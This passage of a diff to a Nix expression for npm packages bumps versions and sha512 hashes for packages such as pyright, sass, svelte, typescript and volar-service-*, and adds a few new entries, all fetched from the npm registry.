"https://registry.npmjs.org/promise.prototype.finally/-/promise.prototype.finally-3.1.8.tgz"; + sha512 = "aVDtsXOml9iuMJzUco9J1je/UrIT3oMYfWkCTiUhkt+AvZw72q4dUZnR/R/eB3h5GeAagQVXvM1ApoYniJiwoA=="; }; }; "promised-temp-0.1.0" = { @@ -46521,13 +46629,13 @@ let sha512 = "pMpnA0qRdFp32b1sJl1wOJNxZLQ2cbQx+k6tjNtZ8CpvVhNqEPRgivZ2WOUev2YMajecdH7ctUPDvEe87nariQ=="; }; }; - "pyright-1.1.349" = { + "pyright-1.1.350" = { name = "pyright"; packageName = "pyright"; - version = "1.1.349"; + version = "1.1.350"; src = fetchurl { - url = "https://registry.npmjs.org/pyright/-/pyright-1.1.349.tgz"; - sha512 = "AIS2OuIPSifLGeeIlM9NihSdHSCheT7eXPdKnVxIwTvuOXwOX75oQS7xsW1PK+Tkc+S5SzvXeCwPChbjXd+Ztg=="; + url = "https://registry.npmjs.org/pyright/-/pyright-1.1.350.tgz"; + sha512 = "9AMEsPGFzyYzwYCU3QuTUk/AEfVO3hlKtvF0kybBnwGiFuYsmwx02/Hlra7ROX+jtmDStL8qiHCPoYy0rCz/uA=="; }; }; "q-1.5.1" = { @@ -46791,6 +46899,15 @@ let sha512 = "b3w19IEXnt5auacLAbePVsqPyVQUwmuhJQrrWnVhm4pP8PAMg2U9vFHbAD9XYXXbMDjdLJs0x5NLqwTV8uFK4g=="; }; }; + "quill-delta-5.1.0" = { + name = "quill-delta"; + packageName = "quill-delta"; + version = "5.1.0"; + src = fetchurl { + url = "https://registry.npmjs.org/quill-delta/-/quill-delta-5.1.0.tgz"; + sha512 = "X74oCeRI4/p0ucjb5Ma8adTXd9Scumz367kkMK5V/IatcX6A0vlgLgKbzXWy5nZmCGeNJm2oQX0d2Eqj+ZIlCA=="; + }; + }; "quotation-2.0.3" = { name = "quotation"; packageName = "quotation"; @@ -47781,13 +47898,13 @@ let sha512 = "ZhYeb6nRaXCfhnndflDK8qI6ZQ/YcWZCISRAWICW9XYqMUwjZM9Z0DveWX/ABN01oxSHwVxKQmxeYZSsm0jh5A=="; }; }; - "reflect.getprototypeof-1.0.4" = { + "reflect.getprototypeof-1.0.5" = { name = "reflect.getprototypeof"; packageName = "reflect.getprototypeof"; - version = "1.0.4"; + version = "1.0.5"; src = fetchurl { - url = "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.4.tgz"; - sha512 = "ECkTw8TmJwW60lOTR+ZkODISW6RQ8+2CL3COqtiJKLd6MmB45hN51HprHFziKLGkAuTGQhBb91V8cy+KHlaCjw=="; + url = "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.5.tgz"; + sha512 = "62wgfC8dJWrmxv44CA36pLDnP6KKl3Vhxb7PL+8+qrrFMMoJij4vgiMP8zV4O8+CBMXY1mHxI5fITGHXFHVmQQ=="; }; }; "reftools-1.1.9" = { @@ -47871,13 +47988,13 @@ let sha512 = "iETxpjK6YoRWJG5o6hXLwvjYAoW+FEZn9os0PD/b6AP6xQwsa/Y7lCVgIixBbUPMfhu+i2LtdeAqVTgGlQarfA=="; }; }; - "regexp.prototype.flags-1.5.1" = { + "regexp.prototype.flags-1.5.2" = { name = "regexp.prototype.flags"; packageName = "regexp.prototype.flags"; - version = "1.5.1"; + version = "1.5.2"; src = fetchurl { - url = "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.1.tgz"; - sha512 = "sy6TXMN+hnP/wMy+ISxg3krXx7BAtWVO4UouuCN/ziM9UEne0euamVNafDfvC83bRNr95y0V5iijeDQFUNpvrg=="; + url = "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.2.tgz"; + sha512 = "NcDiDkTLuPR+++OCKB0nWafEmhg/Da8aUPLPMQbK+bxKKCm1/S5he+AqYa4PlMCVBalb4/yxIRub6qkEx5yJbw=="; }; }; "regexparam-2.0.2" = { @@ -49770,13 +49887,13 @@ let sha512 = "aJXcif4xnaNUzvUuC5gcb46oTS7zvg4jpMTnuqtrEPlR3vFr4pxtdTwaF1Qs3Enjn9HK+ZlwQui+a7z0SywIzg=="; }; }; - "safe-regex-test-1.0.2" = { + "safe-regex-test-1.0.3" = { name = "safe-regex-test"; packageName = "safe-regex-test"; - version = "1.0.2"; + version = "1.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.0.2.tgz"; - sha512 = "83S9w6eFq12BBIJYvjMux6/dkirb8+4zJRA9cxNBVb7Wq5fJBW+Xze48WqR8pxua7bDuAaaAxtVVd4Idjp1dBQ=="; + url = "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.0.3.tgz"; + sha512 = "CdASjNJPvRa7roO6Ra/gLYBTzYzzPyyBXxIMdGW3USQLyjWEls2RgW5UBTXaQVp+OrpeCK3bLem8smtmheoRuw=="; }; }; "safe-stable-stringify-1.1.1" = { @@ -49851,13 +49968,13 @@ let sha512 = "pVlvK5ysevz8MzybRnDIa2YMxn0OJ7b9lDiWhMoaKPoJ7YkAg/7YtNjUgaYzElkwHxsw8dBMhaEn7UP6zxEwPg=="; }; }; - "sass-1.70.0" = { + "sass-1.71.0" = { name = "sass"; packageName = "sass"; - version = "1.70.0"; + version = "1.71.0"; src = fetchurl { - url = "https://registry.npmjs.org/sass/-/sass-1.70.0.tgz"; - sha512 = "uUxNQ3zAHeAx5nRFskBnrWzDUJrrvpCPD5FNAoRvTi0WwremlheES3tg+56PaVtCs5QDRX5CBLxxKMDJMEa1WQ=="; + url = "https://registry.npmjs.org/sass/-/sass-1.71.0.tgz"; + sha512 = "HKKIKf49Vkxlrav3F/w6qRuPcmImGVbIXJ2I3Kg0VMA+3Bav+8yE9G5XmP5lMj6nl4OlqbPftGAscNaNu28b8w=="; }; }; "sass-formatter-0.7.9" = { @@ -50139,6 +50256,15 @@ let sha512 = "1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA=="; }; }; + "semver-7.6.0" = { + name = "semver"; + packageName = "semver"; + version = "7.6.0"; + src = fetchurl { + url = "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz"; + sha512 = "EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg=="; + }; + }; "semver-compare-1.0.0" = { name = "semver-compare"; packageName = "semver-compare"; @@ -50409,13 +50535,13 @@ let sha512 = "KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw=="; }; }; - "set-function-length-1.2.0" = { + "set-function-length-1.2.1" = { name = "set-function-length"; packageName = "set-function-length"; - version = "1.2.0"; + version = "1.2.1"; src = fetchurl { - url = "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.0.tgz"; - sha512 = "4DBHDoyHlM1IRPGYcoxexgh67y4ueR53FKV1yyxwFMY7aCqcN/38M1+SwZ/qJQ8iLv7+ck385ot4CcisOAPT9w=="; + url = "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.1.tgz"; + sha512 = "j4t6ccc+VsKwYHso+kElc5neZpjtq9EnRICFZtWyBsLojhmeF/ZBd/elqm22WJh/BziDe/SBiOeAt0m2mfLD0g=="; }; }; "set-function-name-2.0.1" = { @@ -50706,13 +50832,13 @@ let sha512 = "G5w1eODRWHWd/H5u6PMAN83TQJ/iOOM8cRgzC2v7trPbnMlq3XIxmQpGw8idyqRkE/wi5YX2j+fobj5xArPw+g=="; }; }; - "side-channel-1.0.4" = { + "side-channel-1.0.5" = { name = "side-channel"; packageName = "side-channel"; - version = "1.0.4"; + version = "1.0.5"; src = fetchurl { - url = "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz"; - sha512 = "q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw=="; + url = "https://registry.npmjs.org/side-channel/-/side-channel-1.0.5.tgz"; + sha512 = "QcgiIWV4WV7qWExbN5llt6frQB/lBven9pqliLXfGPB+K9ZYXxDozp0wLkHS24kWCm+6YXH/f0HhnObZnZOBnQ=="; }; }; "signal-exit-3.0.7" = { @@ -50751,13 +50877,13 @@ let sha512 = "0Zjz0oe37d08VeOtBIuB6cRriqXse2e8w+7yIy2XSXjshRKxbc2KkhXjL229jXSxEm7UbcjS76wcJDGQddVI9A=="; }; }; - "sigstore-2.2.0" = { + "sigstore-2.2.2" = { name = "sigstore"; packageName = "sigstore"; - version = "2.2.0"; + version = "2.2.2"; src = fetchurl { - url = "https://registry.npmjs.org/sigstore/-/sigstore-2.2.0.tgz"; - sha512 = "fcU9clHwEss2/M/11FFM8Jwc4PjBgbhXoNskoK5guoK0qGQBSeUbQZRJ+B2fDFIvhyf0gqCaPrel9mszbhAxug=="; + url = "https://registry.npmjs.org/sigstore/-/sigstore-2.2.2.tgz"; + sha512 = "2A3WvXkQurhuMgORgT60r6pOWiCOO5LlEqY2ADxGBDGVYLSo5HN0uLtb68YpVpuL/Vi8mLTe7+0Dx2Fq8lLqEg=="; }; }; "simple-concat-1.0.1" = { @@ -51345,13 +51471,13 @@ let sha512 = "GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ=="; }; }; - "socks-2.7.1" = { + "socks-2.8.0" = { name = "socks"; packageName = "socks"; - version = "2.7.1"; + version = "2.8.0"; src = fetchurl { - url = "https://registry.npmjs.org/socks/-/socks-2.7.1.tgz"; - sha512 = "7maUZy1N7uo6+WVEX6psASxtNlKaNVMlGQKkG/63nEDdLOWNbiUMoLK7X4uYoLhQstau72mLgfEWcXcwsaHbYQ=="; + url = "https://registry.npmjs.org/socks/-/socks-2.8.0.tgz"; + sha512 = "AvXLNBlmf/AN7g6ZuCRNtwbLFacfNBYvy7pchLnpJ1aqCw7FPOK0HEC/LxOZxWiJpqwnjYPxxxNxXYOgX8+3fw=="; }; }; "socks-proxy-agent-6.2.1" = { @@ -51687,13 +51813,13 @@ let sha512 = "kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA=="; }; }; - "spdx-exceptions-2.4.0" = { + "spdx-exceptions-2.5.0" = { name = "spdx-exceptions"; packageName = "spdx-exceptions"; - version = "2.4.0"; + version = "2.5.0"; src = fetchurl { - url = "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.4.0.tgz"; - sha512 = "hcjppoJ68fhxA/cjbN4T8N6uCUejN8yFw69ttpqtBeCbF3u13n7mb31NB9jKwGTTWWnt9IbRA/mf1FprYS8wfw=="; + url = "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz"; + sha512 = "PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w=="; }; }; "spdx-expression-parse-3.0.1" = { @@ -51705,13 +51831,13 @@ let sha512 = "cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q=="; }; }; - "spdx-license-ids-3.0.16" = { + "spdx-license-ids-3.0.17" = { name = "spdx-license-ids"; packageName = "spdx-license-ids"; - version = "3.0.16"; + version = "3.0.17"; src = fetchurl { - url = "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.16.tgz"; - sha512 = "eWN+LnM3GR6gPu35WxNgbGl8rmY1AEmoMDvL/QD6zYmPWgywxWqJWNdLGT+ke8dKNWrcYgYjPpG5gbTfghP8rw=="; + url = "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.17.tgz"; + sha512 = "sh8PWc/ftMqAAdFiBu6Fy6JUOYjqDJBJvIhpfDMyHrr0Rbp5liZqd4TjtQ/RgfLjKFZb+LMx5hpml5qOWy0qvg=="; }; }; "spdx-license-list-6.8.0" = { @@ -52434,13 +52560,13 @@ let sha512 = "Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg=="; }; }; - "streamx-2.15.6" = { + "streamx-2.16.0" = { name = "streamx"; packageName = "streamx"; - version = "2.15.6"; + version = "2.16.0"; src = fetchurl { - url = "https://registry.npmjs.org/streamx/-/streamx-2.15.6.tgz"; - sha512 = "q+vQL4AAz+FdfT137VF69Cc/APqUbxy+MDOImRrMvchJpigHj9GksgDU2LYbO9rx7RX6osWgxJB2WxhYv4SZAw=="; + url = "https://registry.npmjs.org/streamx/-/streamx-2.16.0.tgz"; + sha512 = "a7Fi0PoUeusrUcMS4+HxivnZqYsw2MFEP841TIyLxTcEIucHcJsk+0ARcq3tGq1xDn+xK7sKHetvfMzI1/CzMA=="; }; }; "strict-uri-encode-1.1.0" = { @@ -53262,22 +53388,22 @@ let sha512 = "vzSyuGr3eEoAtT/A6bmajosJZIUWySzY2CzB3w2pgPvnkUjGqlDnsNnA0PMO+mMAhuyMul6C2uuZzY6ELSkzyA=="; }; }; - "svelte-4.2.9" = { + "svelte-4.2.11" = { name = "svelte"; packageName = "svelte"; - version = "4.2.9"; + version = "4.2.11"; src = fetchurl { - url = "https://registry.npmjs.org/svelte/-/svelte-4.2.9.tgz"; - sha512 = "hsoB/WZGEPFXeRRLPhPrbRz67PhP6sqYgvwcAs+gWdSQSvNDw+/lTeUJSWe5h2xC97Fz/8QxAOqItwBzNJPU8w=="; + url = "https://registry.npmjs.org/svelte/-/svelte-4.2.11.tgz"; + sha512 = "YIQk3J4X89wOLhjsqIW8tqY3JHPuBdtdOIkASP2PZeAMcSW9RsIjQzMesCrxOF3gdWYC0mKknlKF7OqmLM+Zqg=="; }; }; - "svelte-5.0.0-next.44" = { + "svelte-5.0.0-next.56" = { name = "svelte"; packageName = "svelte"; - version = "5.0.0-next.44"; + version = "5.0.0-next.56"; src = fetchurl { - url = "https://registry.npmjs.org/svelte/-/svelte-5.0.0-next.44.tgz"; - sha512 = "VO0HOOdCOURQgZ+KodijZGXQe6zp9U53ZmQlm1Lmy7/5p7QtFUHb420eM/KHaR9g8F1uFPK4xIlRBx3q5J0t3g=="; + url = "https://registry.npmjs.org/svelte/-/svelte-5.0.0-next.56.tgz"; + sha512 = "2bUvusE0Z5f1885Djpfs0sIZSHp1Ca1+qPXa/AfZeROVQuQ1979nnjY3m74RXYqhOZ6dQfskecE1NEeQHHpC6w=="; }; }; "svelte-preprocess-5.1.3" = { @@ -53289,13 +53415,13 @@ let sha512 = "xxAkmxGHT+J/GourS5mVJeOXZzne1FR5ljeOUAMXUkfEhkLEllRreXpbl3dIYJlcJRfL1LO1uIAPpBpBfiqGPw=="; }; }; - "svelte2tsx-0.7.0" = { + "svelte2tsx-0.7.1" = { name = "svelte2tsx"; packageName = "svelte2tsx"; - version = "0.7.0"; + version = "0.7.1"; src = fetchurl { - url = "https://registry.npmjs.org/svelte2tsx/-/svelte2tsx-0.7.0.tgz"; - sha512 = "qAelcydnmuiDvD1HsrWi23RWx24RZTKRv6n4JaGC/pkoJfbLkJPQT2wa1qN0ZyfKTNLSyoj2FW9z62l/AUzUNA=="; + url = "https://registry.npmjs.org/svelte2tsx/-/svelte2tsx-0.7.1.tgz"; + sha512 = "0lKa6LrqJxRan0bDmBd/uFsVzYSXnoFUDaczaH0znke/XI79oy1JjFaF51J9EsOvpn8lXPlrUc3n/MA/ORNxBg=="; }; }; "sver-compat-1.5.0" = { @@ -53605,13 +53731,13 @@ let sha512 = "V0r2Y9scmbDRLCNex/+hYzvp/zyYjvFbHPNgVTKfQvVrb6guiE/fxP+XblDNR011utopbkex2nM4dHNV6GDsng=="; }; }; - "tar-fs-3.0.4" = { + "tar-fs-3.0.5" = { name = "tar-fs"; packageName = "tar-fs"; - version = "3.0.4"; + version = "3.0.5"; src = fetchurl { - url = "https://registry.npmjs.org/tar-fs/-/tar-fs-3.0.4.tgz"; - sha512 = "5AFQU8b9qLfZCX9zp2duONhPmZv0hGYiBPJsyUdqMjzq/mqVpy/rEUSeHk1+YitmxugaptgBh5oDGU3VsAJq4w=="; + url = "https://registry.npmjs.org/tar-fs/-/tar-fs-3.0.5.tgz"; + sha512 = "JOgGAmZyMgbqpLwct7ZV8VzkEB6pxXFBVErLtb+XCOqzc6w1xiWKI9GVd6bwk68EX7eJ4DWmfXVmq8K2ziZTGg=="; }; }; "tar-stream-1.6.2" = { @@ -53830,13 +53956,13 @@ let sha512 = "flFL3m4wuixmf6IfhFJd1YPiLiMuxEc8uHRM1buzIeZPm22Au2pDqBJQgdo7n1WfPU1ONFGv7YDwpFBmHGF6lg=="; }; }; - "terser-5.27.0" = { + "terser-5.27.1" = { name = "terser"; packageName = "terser"; - version = "5.27.0"; + version = "5.27.1"; src = fetchurl { - url = "https://registry.npmjs.org/terser/-/terser-5.27.0.tgz"; - sha512 = "bi1HRwVRskAjheeYl291n3JC4GgO/Ty4z1nVs5AAsmonJulGxpSektecnNedrwK9C7vpvVtcX3cw00VSLt7U2A=="; + url = "https://registry.npmjs.org/terser/-/terser-5.27.1.tgz"; + sha512 = "29wAr6UU/oQpnTw5HoadwjUZnFQXGdOfj0LjZ4sVxzqwHh/QVkvr7m8y9WoR4iN3FRitVduTc6KdjcW38Npsug=="; }; }; "terser-webpack-plugin-5.3.10" = { @@ -53992,6 +54118,15 @@ let sha512 = "RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA=="; }; }; + "thingies-1.16.0" = { + name = "thingies"; + packageName = "thingies"; + version = "1.16.0"; + src = fetchurl { + url = "https://registry.npmjs.org/thingies/-/thingies-1.16.0.tgz"; + sha512 = "J23AVs11hSQxuJxvfQyMIaS9z1QpDxOCvMkL3ZxZl8/jmkgmnNGWrlyNxVz6Jbh0U6DuGmHqq6f7zUROfg/ncg=="; + }; + }; "thirty-two-0.0.2" = { name = "thirty-two"; packageName = "thirty-two"; @@ -54649,13 +54784,13 @@ let sha512 = "CmyY7d0OYE5W6UCmvij+SaocG7z+q4roF+Oj7BtU8B+KlpdiRZRMUwNyqfmWYcpYgsOcY1/dfIx/VsLmbAOLGg=="; }; }; - "tree-kit-0.8.5" = { + "tree-kit-0.8.7" = { name = "tree-kit"; packageName = "tree-kit"; - version = "0.8.5"; + version = "0.8.7"; src = fetchurl { - url = "https://registry.npmjs.org/tree-kit/-/tree-kit-0.8.5.tgz"; - sha512 = "oe8qZPqyrlJZqYbRK5yUIVkXWOt+QmQjkP5NTjApbvdO4i+eiXOhpcMbgN06Gyg0tz1aPS2RBI0gxWqu2FbinQ=="; + url = "https://registry.npmjs.org/tree-kit/-/tree-kit-0.8.7.tgz"; + sha512 = "BA/cp8KBvbBDkunxIuoBqzz3pYHL7J8QdzbKohK09urOpHFYqEe/xWGKkECEQG+LvfREd1GNqH3643GYFX8wSQ=="; }; }; "treeify-1.1.0" = { @@ -54730,13 +54865,13 @@ let sha512 = "rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA=="; }; }; - "trough-2.1.0" = { + "trough-2.2.0" = { name = "trough"; packageName = "trough"; - version = "2.1.0"; + version = "2.2.0"; src = fetchurl { - url = "https://registry.npmjs.org/trough/-/trough-2.1.0.tgz"; - sha512 = "AqTiAOLcj85xS7vQ8QkAV41hPDIJ71XJB4RCUrzo/1GM2CQwhkJGaf9Hgr7BOugMRpgGUrqRg/DrBDl4H40+8g=="; + url = "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz"; + sha512 = "tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw=="; }; }; "true-case-path-2.2.1" = { @@ -54757,13 +54892,13 @@ let sha512 = "yHeaPjCBzVaXwWl5IMUapTaTC2rn/eBYg2fsG2L+CvJd+ttFbk0ylDnpTO3wVhosmE1tQEvcebbBeKLCwScQSQ=="; }; }; - "ts-api-utils-1.0.3" = { + "ts-api-utils-1.2.1" = { name = "ts-api-utils"; packageName = "ts-api-utils"; - version = "1.0.3"; + version = "1.2.1"; src = fetchurl { - url = "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-1.0.3.tgz"; - sha512 = "wNMeqtMz5NtwpT/UZGY5alT+VoKdSsOOP/kqHFcUW1P/VRhH2wJ48+DN2WwUliNbQ976ETwDL0Ifd2VVvgonvg=="; + url = "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-1.2.1.tgz"; + sha512 = "RIYA36cJn2WiH9Hy77hdF9r7oEwxAtB/TS9/S4Qd90Ap4z5FSiin5zEiTL44OII1Y3IIlEvxwxFUVgrHSZ/UpA=="; }; }; "ts-dedent-2.2.0" = { @@ -54838,13 +54973,13 @@ let sha512 = "ghqN1b0puy3MhhviwO2kGF8SeMDNhEbnKxjK7h6+fvY9JAxqvXi8y5NAHSQv687OVboS2uZIByzGd45/YxrRHg=="; }; }; - "tsconfck-3.0.1" = { + "tsconfck-3.0.2" = { name = "tsconfck"; packageName = "tsconfck"; - version = "3.0.1"; + version = "3.0.2"; src = fetchurl { - url = "https://registry.npmjs.org/tsconfck/-/tsconfck-3.0.1.tgz"; - sha512 = "7ppiBlF3UEddCLeI1JRx5m2Ryq+xk4JrZuq4EuYXykipebaq1dV0Fhgr1hb7CkmHt32QSgOZlcqVLEtHBG4/mg=="; + url = "https://registry.npmjs.org/tsconfck/-/tsconfck-3.0.2.tgz"; + sha512 = "6lWtFjwuhS3XI4HsX4Zg0izOI3FU/AI9EGVlPEUMDIhvLPMD4wkiof0WCoDgW7qY+Dy198g4d9miAqUHWHFH6Q=="; }; }; "tsconfig-paths-3.15.0" = { @@ -55261,13 +55396,13 @@ let sha512 = "TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g=="; }; }; - "typed-array-buffer-1.0.0" = { + "typed-array-buffer-1.0.1" = { name = "typed-array-buffer"; packageName = "typed-array-buffer"; - version = "1.0.0"; + version = "1.0.1"; src = fetchurl { - url = "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.0.tgz"; - sha512 = "Y8KTSIglk9OZEr8zywiIHG/kmQ7KWyjseXs1CbSo8vC42w7hg2HgYTxSWwP0+is7bWDc1H+Fo026CpHFwm8tkw=="; + url = "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.1.tgz"; + sha512 = "RSqu1UEuSlrBhHTWC8O9FnPjOduNs4M7rJ4pRKoEjtx1zUNOPN2sSXHLDX+Y2WPbHIxbvg4JFo2DNAEfPIKWoQ=="; }; }; "typed-array-byte-length-1.0.0" = { @@ -55423,13 +55558,13 @@ let sha512 = "pXWcraxM0uxAS+tN0AG/BF2TyqmHO014Z070UsJ+pFvYuRSq8KH8DmWpnbXe0pEPDHXZV3FcAbJkijJ5oNEnWw=="; }; }; - "typescript-5.4.0-dev.20240201" = { + "typescript-5.4.0-dev.20240217" = { name = "typescript"; packageName = "typescript"; - version = "5.4.0-dev.20240201"; + version = "5.4.0-dev.20240217"; src = fetchurl { - url = "https://registry.npmjs.org/typescript/-/typescript-5.4.0-dev.20240201.tgz"; - sha512 = "KyjAVgMfyIHhjbaYTeTElvoEKM4teDYYATdzsdcxvogVcaDuH0I0JbiwFUe6bIU5FnWxlbxc7rfGyh7aNwpnow=="; + url = "https://registry.npmjs.org/typescript/-/typescript-5.4.0-dev.20240217.tgz"; + sha512 = "GRzxhALjSGwP7M8C4HBUos+SdVdOK+mh5ZrFLZqHpIik/qWqXwkLQzUpxGIUlXZEUcuRb2vVYwSbKppNmHQmbw=="; }; }; "typescript-auto-import-cache-0.2.1" = { @@ -55747,13 +55882,13 @@ let sha512 = "cSb4bPFd5qgR7qr2jYAi0hlX9n5YKK2ONKkLFkxl+v/9BvC0sOpZjBHDBSXc5lWAf5ty9oZdRXytBIHzgUcerw=="; }; }; - "undici-5.28.2" = { + "undici-5.28.3" = { name = "undici"; packageName = "undici"; - version = "5.28.2"; + version = "5.28.3"; src = fetchurl { - url = "https://registry.npmjs.org/undici/-/undici-5.28.2.tgz"; - sha512 = "wh1pHJHnUeQV5Xa8/kyQhO7WFa8M34l026L5P/+2TYiakvGy5Rdc8jWZVyG7ieht/0WgJLEd3kcU5gKx+6GC8w=="; + url = "https://registry.npmjs.org/undici/-/undici-5.28.3.tgz"; + sha512 = "3ItfzbrhDlINjaP0duwnNsKpDQk3acHI3gVJ1z4fmwMK31k5G9OVIAMLSIaP6w4FaGkaAkN6zaQO9LUvZ1t7VA=="; }; }; "undici-types-5.26.5" = { @@ -57844,58 +57979,58 @@ let sha512 = "Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w=="; }; }; - "volar-service-css-0.0.17" = { + "volar-service-css-0.0.29" = { name = "volar-service-css"; packageName = "volar-service-css"; - version = "0.0.17"; + version = "0.0.29"; src = fetchurl { - url = "https://registry.npmjs.org/volar-service-css/-/volar-service-css-0.0.17.tgz"; - sha512 = "bEDJykygMzn2+a9ud6KwZZLli9eqarxApAXZuf2CqJJh6Trw1elmbBCo9SlPfqMrIhpFnwV0Sa+Xoc9x5WPeGw=="; + url = "https://registry.npmjs.org/volar-service-css/-/volar-service-css-0.0.29.tgz"; + sha512 = "2kNdgEYEiLeeer3wkagNBVDPa3Zj7mBDeM7D3iYmBXA0LCwd2tQL3eASzcDW9Gvac1g478UtptK468GxzUAEcA=="; }; }; - "volar-service-emmet-0.0.17" = { + "volar-service-emmet-0.0.29" = { name = "volar-service-emmet"; packageName = "volar-service-emmet"; - version = "0.0.17"; + version = "0.0.29"; src = fetchurl { - url = "https://registry.npmjs.org/volar-service-emmet/-/volar-service-emmet-0.0.17.tgz"; - sha512 = "C6hVnuQL52MqaydkrblYUbzIo5ZmIGo1hR8wmpcCjs5uNcjqn8aPqZRfznhLiUSaPHpFC+zQxJwFcZI9/u2iKQ=="; + url = "https://registry.npmjs.org/volar-service-emmet/-/volar-service-emmet-0.0.29.tgz"; + sha512 = "sXRMfQ970lpOQxUcKH9B4DqE7FCNhPy6V4m3gw+kgH17mADQ2rdL63b8osXFy5bnAMBcsXRhtJXJPmh/LgZXEw=="; }; }; - "volar-service-html-0.0.17" = { + "volar-service-html-0.0.29" = { name = "volar-service-html"; packageName = "volar-service-html"; - version = "0.0.17"; + version = "0.0.29"; src = fetchurl { - url = "https://registry.npmjs.org/volar-service-html/-/volar-service-html-0.0.17.tgz"; - sha512 = "OGkP+ZTo13j/+enafGe+esXvda/W4eU78YNLbbHxtV3rnX4odVrewenLJmXiECg6wdQz/PG8rLijZqQnDUYkfw=="; + url = "https://registry.npmjs.org/volar-service-html/-/volar-service-html-0.0.29.tgz"; + sha512 = "ctTSU46KCLxcaR53mAod2wBWSEIXGdXdejqHEDPSX33H5rA2X89zyYEpuk9BOVzIHG8G8rggVXCGnGaXxmYrCw=="; }; }; - "volar-service-prettier-0.0.17" = { + "volar-service-prettier-0.0.29" = { name = "volar-service-prettier"; packageName = "volar-service-prettier"; - version = "0.0.17"; + version = "0.0.29"; src = fetchurl { - url = "https://registry.npmjs.org/volar-service-prettier/-/volar-service-prettier-0.0.17.tgz"; - sha512 = "YYnzZ+OT0M3Bx+xKuoAfs/uVuxk7ofz4dkZDQqjwa9iC63Ay4YGqONtmHd+xsO3lufkEBXlAQCbofDeZbSz3YQ=="; + url = "https://registry.npmjs.org/volar-service-prettier/-/volar-service-prettier-0.0.29.tgz"; + sha512 = "GxcDKfiVv3fc4XUtUOkQpX0QlFjWppRCVWIBp751gOKJwDex142xMlbTxP9la9tollbmj2O/tVUrqqLDGQ+Lsg=="; }; }; - "volar-service-typescript-0.0.17" = { + "volar-service-typescript-0.0.29" = { name = "volar-service-typescript"; packageName = "volar-service-typescript"; - version = "0.0.17"; + version = "0.0.29"; src = fetchurl { - url = "https://registry.npmjs.org/volar-service-typescript/-/volar-service-typescript-0.0.17.tgz"; - sha512 = "Krs8pOIo2yoBVoJ91hKT1czhWt9ek7EbuK3MxxgvDYdd4HYHOtHi1eOlb7bFnZMNgFcwsL48yQI9vbPm160s9A=="; + url = "https://registry.npmjs.org/volar-service-typescript/-/volar-service-typescript-0.0.29.tgz"; + sha512 = "ssBhGT0Wrh670NRTrLoikzoRbszd72jIa02IKbrfI9QIIONvygOmIJ9jSqj4jxHEWz/KSCgCEhCyR7hEH80kGg=="; }; }; - "volar-service-typescript-twoslash-queries-0.0.17" = { + "volar-service-typescript-twoslash-queries-0.0.29" = { name = "volar-service-typescript-twoslash-queries"; packageName = "volar-service-typescript-twoslash-queries"; - version = "0.0.17"; + version = "0.0.29"; src = fetchurl { - url = "https://registry.npmjs.org/volar-service-typescript-twoslash-queries/-/volar-service-typescript-twoslash-queries-0.0.17.tgz"; - sha512 = "6FHXK5AWeFzCL6uGmEcbkZmQsaQ0m9IjbeLdgOIQ4KGvauqT2aA1BhdfDJu6vRAFIfXe7xjEJ85keIlHl72tSA=="; + url = 